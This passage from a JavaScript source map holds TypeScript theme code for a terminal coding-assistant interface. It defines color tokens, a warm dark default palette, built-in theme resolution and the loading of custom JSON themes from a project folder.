''): boolean {\r\n const background = Number(colorFgBg.split(';').at(-1));\r\n return background === 7 || background === 15;\r\n}\r\n\r\n/** List safe custom theme names from .book/themes. */\r\nexport function listCustomThemes(workspace: string): string[] {\r\n const themesDir = join(workspace, '.book', 'themes');\r\n try {\r\n return readdirSync(themesDir, { withFileTypes: true })\r\n .filter((entry) => entry.isFile() && entry.name.endsWith('.json'))\r\n .map((entry) => entry.name.slice(0, -'.json'.length))\r\n .filter((name) => CUSTOM_THEME_NAME.test(name))\r\n .sort((a, b) => a.localeCompare(b));\r\n } catch {\r\n return [];\r\n }\r\n}\r\n\r\n/**\r\n * Try to load a custom theme from .book/themes/<name>.json.\r\n * Returns the loaded theme tokens, or null if not found.\r\n */\r\nexport function loadCustomTheme(workspace: string, name: string): ThemeTokens | null {\r\n if (!CUSTOM_THEME_NAME.test(name)) return null;\r\n const themePath = join(workspace, '.book', 'themes', `${name}.json`);\r\n if (!existsSync(themePath)) return null;\r\n try {\r\n const raw = readFileSync(themePath, 'utf-8');\r\n const parsed = JSON.parse(raw) as Partial<ThemeTokens>;\r\n return { ...DEFAULT_THEME, ...parsed };\r\n } catch {\r\n return null;\r\n }\r\n}\r\n\r\n/** Resolve a built-in, automatic, or project theme preference into tokens. */\r\nexport function resolveTheme(\r\n workspace: string,\r\n preference: string,\r\n colorFgBg = process.env.COLORFGBG ?? '',\r\n): ResolvedTheme | null {\r\n const requested = preference.trim();\r\n const builtin = requested.toLowerCase();\r\n if (builtin === 'apple' || builtin === 'apple-dark') {\r\n return { preference: 'apple', resolvedName: 'apple', tokens: APPLE_THEME };\r\n }\r\n if (builtin === 'dark') {\r\n return { preference: 'dark', resolvedName: 'dark', tokens: DARK_THEME };\r\n }\r\n if (builtin === 'light') {\r\n return { preference: 'light', resolvedName: 'light', tokens: LIGHT_THEME };\r\n }\r\n if (builtin === 'auto') {\r\n // A dark terminal gets the default palette, not the warm editorial one, so\r\n // `auto` never looks different from a fresh install on the same screen.\r\n const isLight = hasLightTerminalBackground(colorFgBg);\r\n return {\r\n preference: 'auto',\r\n resolvedName: isLight ? 'light' : 'apple',\r\n tokens: isLight ? LIGHT_THEME : APPLE_THEME,\r\n };\r\n }\r\n if (builtin === 'catppuccin' || builtin === 'catppuccin-mocha' || builtin === 'mocha') {\r\n return { preference: 'catppuccin', resolvedName: 'catppuccin', tokens: CATPPUCCIN_THEME };\r\n }\r\n if (builtin === 'nord') {\r\n return { preference: 'nord', resolvedName: 'nord', tokens: NORD_THEME };\r\n }\r\n if (builtin === 'gruvbox' || builtin === 'gruvbox-dark') {\r\n return { preference: 'gruvbox', resolvedName: 'gruvbox', tokens: GRUVBOX_THEME };\r\n }\r\n if (builtin === 'solarized-dark' || builtin === 'solarized') {\r\n return {\r\n preference: 'solarized-dark',\r\n resolvedName: 'solarized-dark',\r\n tokens: SOLARIZED_DARK_THEME,\r\n };\r\n }\r\n if (!requested) return null;\r\n const custom = loadCustomTheme(workspace, requested);\r\n return custom ? { preference: requested, resolvedName: requested, tokens: custom } : null;\r\n}\r\n\r\nexport { DEFAULT_THEME };\r\nexport type { ThemeTokens };\r\n","/**\r\n * Theme token system matching Claude Code's color token architecture.\r\n * All values are Ink-compatible color strings (named colors, hex, rgb, ansi256, ansi:<name>).\r\n */\r\nexport interface ThemeTokens {\r\n /** Identity */\r\n brand: string;\r\n brandShimmer: string;\r\n\r\n /** Text */\r\n text: string;\r\n inverseText: string;\r\n inactive: string;\r\n subtle: string;\r\n suggestion: string;\r\n permission: string;\r\n remember: string;\r\n\r\n /** Shared TUI chrome */\r\n /**\r\n * Panel fill.\r\n *\r\n * Built-in components fill only *verbatim* content — a code block keeps\r\n * `mdCodeBackground`. Secondary content (expanded tool output, reasoning)\r\n * gets a left rail and nothing else, so no built-in currently renders this\r\n * token or `mdThinkBg`. Both stay in the contract for custom themes in\r\n * `.book/themes/*.json`.\r\n */\r\n surface: string;\r\n surfaceActive: string;\r\n border: string;\r\n selectionText: string;\r\n userAccent: string;\r\n assistantAccent: string;\r\n toolRail: string;\r\n\r\n /** Status */\r\n success: string;\r\n error: string;\r\n warning: string;\r\n merged: string;\r\n\r\n /** Mode borders */\r\n promptBorder: string;\r\n planMode: string;\r\n autoAccept: string;\r\n bashBorder: string;\r\n\r\n /** Permission mode colors (one per mode) */\r\n modeDefault: string;\r\n modePlan: string;\r\n modeAcceptEdits: string;\r\n modeAuto: string;\r\n modeDontAsk: string;\r\n modeBypass: string;\r\n\r\n /** Diff rendering */\r\n diffAdded: string;\r\n diffRemoved: string;\r\n diffAddedWord: string;\r\n diffRemovedWord: string;\r\n diffAddedDimmed: string;\r\n diffRemovedDimmed: string;\r\n\r\n /** Usage meter */\r\n usageMeter: string;\r\n usageMeterHigh: string;\r\n usageMeterCritical: string;\r\n\r\n /** Shimmer pairs for animated gradients */\r\n shimmerPair: [string, string];\r\n\r\n /** Subagent colors (8 named colors) */\r\n subagentColors: string[];\r\n\r\n /** Markdown rendering */\r\n mdCodeBackground: string;\r\n mdCodeBorder: string;\r\n mdCodeText: string;\r\n mdCodeKeyword: string;\r\n mdCodeString: string;\r\n mdCodeComment: string;\r\n mdCodeNumber: string;\r\n mdCodeFunction: string;\r\n mdCodeLineNumber: string;\r\n /**\r\n * Retained for custom theme files that still set it; inline code renders\r\n * with `mdInlineCodeText` alone and never paints a background.\r\n */\r\n mdInlineCodeBg: string;\r\n mdInlineCodeText: string;\r\n mdHeading: string;\r\n mdHeadingH1: string;\r\n mdHeadingH2: string;\r\n mdBlockquoteBorder: string;\r\n mdBlockquoteText: string;\r\n mdLink: string;\r\n mdListMarker: string;\r\n mdHr: string;\r\n mdTableBorder: string;\r\n mdThinkBg: string;\r\n mdThinkBorder: string;\r\n mdThinkText: string;\r\n mdTurnSeparator: string;\r\n mdCheckboxChecked: string;\r\n mdCheckboxUnchecked: string;\r\n\r\n /** User message background */\r\n userBg: string;\r\n}\r\n\r\n/**\r\n * Warm editorial dark palette.\r\n *\r\n * Roles are kept visually distinct on purpose: sage belongs to the agent, clay\r\n * to product chrome, teal to references, and the amber/rust/green trio to\r\n * status. A token that reuses another role's hue makes the two indistinguishable\r\n * on screen, which is exactly what this palette exists to prevent.\r\n */\r\nexport const DEFAULT_THEME: ThemeTokens = {\r\n brand: '#D3A17E',\r\n brandShimmer: '#E5BB9B',\r\n\r\n text: '#E7E1D4',\r\n inverseText: '#171815',\r\n inactive: '#6D6961',\r\n subtle: '#938E84',\r\n suggestion: '#7E7A72',\r\n permission: '#D1AA6C',\r\n remember: '#C09CAD',\r\n\r\n surface: '#20221D',\r\n surfaceActive: '#30362B',\r\n border: '#4B4D45',\r\n selectionText: '#F3EEE4',\r\n userAccent: '#D3A17E',\r\n assistantAccent: '#AFC19D',\r\n toolRail: '#5C6156',\r\n\r\n success: '#91B77C',\r\n error: '#D68174',\r\n warning: '#D1AA6C',\r\n merged: '#7FA89C',\r\n\r\n promptBorder: '#8C9A86',\r\n planMode: '#C09CAD',\r\n autoAccept: '#91B77C',\r\n bashBorder: '#D1AA6C',\r\n\r\n // `default` is the quiet mode: desaturated so the sage of an agent turn never\r\n // reads as a permission-mode signal.\r\n modeDefault: '#8C9A86',\r\n modePlan: '#C09CAD',\r\n modeAcceptEdits: '#91B77C',\r\n modeAuto: '#7FA89C',\r\n modeDontAsk: '#D68174',\r\n modeBypass: '#D1AA6C',\r\n\r\n diffAdded: '#243326',\r\n diffRemoved: '#382624',\r\n diffAddedWord: '#36523A',\r\n diffRemovedWord: '#5B3430',\r\n diffAddedDimmed: '#1D2B20',\r\n diffRemovedDimmed: '#302120',\r\n\r\n usageMeter: '#7FA89C',\r\n usageMeterHigh: '#D1AA6C',\r\n usageMeterCritical: '#D68174',\r\n\r\n // The spinner is the agent speaking, so it keeps the sage identity.\r\n shimmerPair: ['#AFC19D', '#C4D3B5'],\r\n\r\n subagentColors: [\r\n '#D68174',\r\n '#7FA89C',\r\n '#91B77C',\r\n '#D1AA6C',\r\n '#C09CAD',\r\n '#D3A17E',\r\n '#B88FA4',\r\n '#AFC19D',\r\n ],\r\n\r\n mdCodeBackground: '#1B1D1A',\r\n mdCodeBorder: '#3A3C36',\r\n mdCodeText: '#E7E1D4',\r\n mdCodeKeyword: '#C09CAD',\r\n mdCodeString: '#91B77C',\r\n mdCodeComment: '#6D6961',\r\n mdCodeNumber: '#D1AA6C',\r\n mdCodeFunction: '#7FA89C',\r\n mdCodeLineNumber: '#5C6156',\r\n mdInlineCodeBg: '#2B2C27',\r\n mdInlineCodeText: '#D3A17E',\r\n // A three-step brightness ramp, all bold. Depth is legible only if these\r\n // differ from each other *and* from `text` — otherwise a heading is\r\n // indistinguishable from a bold run in body copy.\r\n mdHeadingH1: '#F7F3EA',\r\n mdHeadingH2: '#EFEADC',\r\n mdHeading: '#B4AE9F',\r\n mdBlockquoteBorder: '#5C6156',\r\n mdBlockquoteText: '#938E84',\r\n mdLink: '#7FA89C',\r\n mdListMarker: '#8C9A86',\r\n mdHr: '#3A3C36',\r\n mdTableBorder: '#3A3C36',\r\n mdThinkBg: '#1E201C',\r\n mdThinkBorder: '#3A3C36',\r\n mdThinkText: '#7E7A72',\r\n mdTurnSeparator: '#4B4D45',\r\n mdCheckboxChecked: '#91B77C',\r\n mdCheckboxUnchecked: '#6D6961',\r\n\r\n userBg: '#262220',\r\n};\r\n"],"mappings":"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","names":[]}
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
